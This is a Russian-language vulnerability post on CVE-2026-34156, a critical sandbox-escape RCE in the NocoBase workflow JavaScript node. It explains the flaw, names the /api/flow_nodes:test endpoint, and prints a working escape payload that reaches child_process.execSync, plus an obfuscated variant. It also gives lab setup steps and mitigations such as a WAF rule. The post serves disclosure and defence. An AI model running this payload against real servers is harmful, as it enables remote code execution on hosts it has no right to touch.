CVE-2026–34156 — уязвимость выполнения удаленного кода (RCE) в NocoBase. Проблема закрыта в версии 2.0.28 и выше.
NocoBase — это легко расширяемая open-source no-code/low-code платформа для разработки, которая помогает командам разработчиков и бизнесу быстро создавать собственные управляемые бизнес-системы.
🫡 Метрики
Base Score: 9.9 CRITICAL
CWE: CWE-913
🫡 Об уязвимости
Проблема возникает в узле JavaScript рабочего процесса (workflow script node), где JavaScript-код пользователя выполняется в изолированной среде, но при этом объект console предоставляет доступ к потокам хост-процесса через
console._stdout и console._stderr. Злоумышленнику достаточно базовых прав, чтобы вытащить объекты WritableWorkerStdio и выйти за пределы изоляции.Уязвимая конечная точка —
/api/flow_nodes:testУязвимость может усугублять еще один фактор: при развертывании уязвимой версии NocoBase, данные от пользовательского интерфейса авторизации задаются константно, их можно узнать в документации к NocoBase. Эти логин и пароль дают доступ администратора.
🫡 Код для выхода из песочницы. Пример команды
const cons=console._stdout.constructor.constructor;
const proc= cons('return process')();
const cmd=proc.mainModule.require('child_process');
return cmd.execSync('id').toString().trim();
✅
console._stdout.constructor.constructor или аналог console._stderr.constructor.constructor - пытается добраться до конструктора Function через цепочку прототипов.✅
cons('return process')() — создаёт функцию, которая возвращает объект process из хост-среды.✅
proc.mainModule.require('child_process') — загружает модуль child_process.✅
execSync('COMAND') — выполняет системную команду и возвращает вывод. Вариации полезной нагрузки могут изменяться, например, кодироваться, передаваться в другом регистре и т.д.✅
execSync(String.fromCharCode(105,100)).toString().trim() — выполнит команду ID.К посту прикреплен docker-compose файл, для сборки уязвимой версии NocoBase. Логин и пароль для авторизации предлагаем найти самостоятельно.
🫡 Как настроить стенд
Шестеренка -> workflow -> Add new - > заполняем произвольно -> в появившемся workflow, в столбце Action, выбираем Configure -> в рабочей области нажимаем на + -> Extended types выбираем JavaScript -> в появившемся узле JavaScript нажимаем на значок консоли -> Script content и есть поле, через которое происходит эксплуатация. А дальше по классике Burp Suite и Repeater. Пример на скриншоте.
🫡 Как защититься
1) Сменить стандартные логин и пароль администратора.
2) Ограничить доступ к /api/flow_nodes:test только администраторам.
3) Обновиться.
4) Блокировка POST-запросов к /api/flow_nodes:test, в Body которых передается console._stdout или console._stderr. Например, правилами WAF/IDS.
